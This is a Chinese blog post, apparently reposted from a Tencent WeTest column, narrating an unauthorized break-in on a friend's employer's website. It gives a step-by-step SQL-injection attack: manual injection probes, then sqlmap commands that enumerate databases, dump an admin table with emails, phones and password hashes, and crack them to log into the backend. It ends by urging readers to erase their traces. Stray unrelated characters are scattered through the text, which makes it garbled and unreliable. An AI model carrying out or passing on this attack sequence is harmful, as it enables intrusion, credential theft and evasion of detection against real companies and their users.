本文轉(zhuǎn)載自:騰訊WeTest專欄--《我是如何一步步攻破一家互聯(lián)網(wǎng)公司的》
最近在研究Web安全相關(guān)的知識(shí)斗躏,特別是SQL注入類的相關(guān)知識(shí)谨设。接觸了一些與SQL注入相關(guān)的工具幽勒。周末在家閑著無(wú)聊洞翩,想把平時(shí)學(xué)的東東結(jié)合起來(lái)攻擊一下身邊某個(gè)小伙伴去的公司,看看能不能得逞沮翔。不試不知道陨帆,一試還真TM得逞了,內(nèi)心有些小激動(dòng)采蚀,特在此寫博文一篇疲牵,來(lái)記錄下我是如何一步步攻破這家互聯(lián)網(wǎng)公司的。
【作案工具介紹】
(1)?AppScan滲透掃描工具
Appscan是Web應(yīng)用程序滲透測(cè)試舞臺(tái)上使用最廣泛的工具之一搏存。它是一個(gè)桌面應(yīng)用程序,它有助于專業(yè)安全人員進(jìn)行Web應(yīng)用程序自動(dòng)化脆弱性評(píng)估矢洲。
(2)?Sqlmap滲透測(cè)試工具
Sqlmap是一個(gè)自動(dòng)化的SQL注入工具璧眠,其主要功能是掃描,發(fā)現(xiàn)并利用給定的URL的SQL注入漏洞读虏。
【作案細(xì)節(jié)如下】
首先使用Appscan工具责静,對(duì)www.xxx.com互聯(lián)網(wǎng)公司的官網(wǎng)進(jìn)行掃描,掃描結(jié)果如下:
在這56個(gè)安全性問(wèn)題中盖桥,找到你感興趣的鏈接灾螃,例如下面這條:
http://www.xxx.com/system/cms/show?id=1
為何要挑出這一條呢?因?yàn)樗鼘?duì)于SQL注入比較典型揩徊,下面普及下SQL注入常用手法腰鬼。首先用如下語(yǔ)句,確定該網(wǎng)站是否存在注入點(diǎn):
http://192.168.16.128/news.php?id=1原網(wǎng)站
http://192.168.16.128/news.php?id=1'出錯(cuò)或顯示不正常
http://192.168.16.128/news.php?id=1?and?1=1出錯(cuò)或顯示不正常
http://192.168.16.128/news.php?id=1?and?1=2出錯(cuò)或顯示不正常
如果有出錯(cuò)塑荒,說(shuō)明存在注入點(diǎn)熄赡。
在判斷完http://www.xxx.com/system/cms/show?id=1該鏈接存在注入點(diǎn)后,接下來(lái)就啟動(dòng)我們的滲透測(cè)試工具Sqlmap齿税,進(jìn)行下一步的注入工作彼硫,詳細(xì)過(guò)程如下:
1)再次確認(rèn)目標(biāo)注入點(diǎn)是否可用:
python?sqlmap.py?-uhttp://www.xxx.com/system/cms/show?id=1
參數(shù):
-u:指定注入點(diǎn)url
結(jié)果:
注入結(jié)果展示:
a.參數(shù)id存在基于布爾的盲注,即可以根據(jù)返回頁(yè)面判斷條件真假的注入。
b.參數(shù)id存在基于時(shí)間的盲注拧篮,即不能根據(jù)頁(yè)面返回內(nèi)容判斷任何信息词渤,用條件語(yǔ)句查看時(shí)間延遲語(yǔ)句是否執(zhí)行(即頁(yè)面返回時(shí)間是否增加)來(lái)判斷。
c.數(shù)據(jù)庫(kù)類型為:MySql?5.0.12
2)暴庫(kù)所有數(shù)據(jù)庫(kù):
一條命令即可曝出該sqlserver中所有數(shù)據(jù)庫(kù)名稱串绩,命令如下:
python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?--dbs
參數(shù):
--dbs:dbs前面有兩條杠缺虐,列出所有數(shù)據(jù)庫(kù)。
結(jié)果:
3)獲取當(dāng)前使用的數(shù)據(jù)庫(kù)
python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?--current-db
參數(shù):
--current-db:當(dāng)前所使用的數(shù)據(jù)庫(kù)志笼。
結(jié)果:
4)獲取當(dāng)前數(shù)據(jù)庫(kù)使用賬戶
python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?--current-user
5)列出sqlserver所有用戶
python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?--users
6)獲取當(dāng)前用戶數(shù)據(jù)庫(kù)賬戶與密碼
python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?--passwords
7)列出數(shù)據(jù)庫(kù)中的表
python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?-D?xxx_store?--tables
參數(shù):
-D:指定數(shù)據(jù)庫(kù)名稱
--tables:列出表
結(jié)果:
8)列出表中字段
python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?-D?xxx_store?-T?mall_admin?--columns
參數(shù):
-D:指定數(shù)據(jù)庫(kù)名稱
-T:指定要列出字段的表
--columns:指定列出字段
結(jié)果:
9)暴字段內(nèi)容
python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?-D?xxx_store?-T?mall_admin?-C?"ag_id,email,id,mobile,name,password,status"?--dump
參數(shù):
-C:指定要暴的字段
--dump:將結(jié)果導(dǎo)出
如果字段內(nèi)容太多纫溃,需要花費(fèi)很多時(shí)間∪脱冢可以指定導(dǎo)出特定范圍的字段內(nèi)容紊浩,命令如下:
python?sqlmap.py?-u?http://www.xxx.com/system/cms/show?id=1?-D?xxx_store?-T?mall_admin?-C?"ag_id,email,id,mobile,name,password,status"?--start?1?--stop?10?--dump
參數(shù):
--start:指定開(kāi)始的行
--stop:指定結(jié)束的行
此條命令的含義為:導(dǎo)出數(shù)據(jù)庫(kù)xxx_store中的表mall_admin中的關(guān)于字段(ag_id,email,id,mobile,name,password,status)中的第1到第10行的數(shù)據(jù)內(nèi)容。
結(jié)果如下:
通過(guò)上圖疗锐,我們可以看到admin表中的用戶信息了坊谁。我們將password字段通過(guò)md5解密,可以得到hash的原文密碼滑臊,通過(guò)用戶名和密碼口芍,我們就可以登錄該網(wǎng)站了。
至此雇卷,我們已成功入侵到一家公司的后臺(tái)鬓椭,并拿到了相關(guān)的數(shù)據(jù)。不過(guò)要在這里提醒你:成功入侵只是成功了一半关划,另外最重要的一半是把屁股擦干凈小染,不讓別人發(fā)現(xiàn)你了!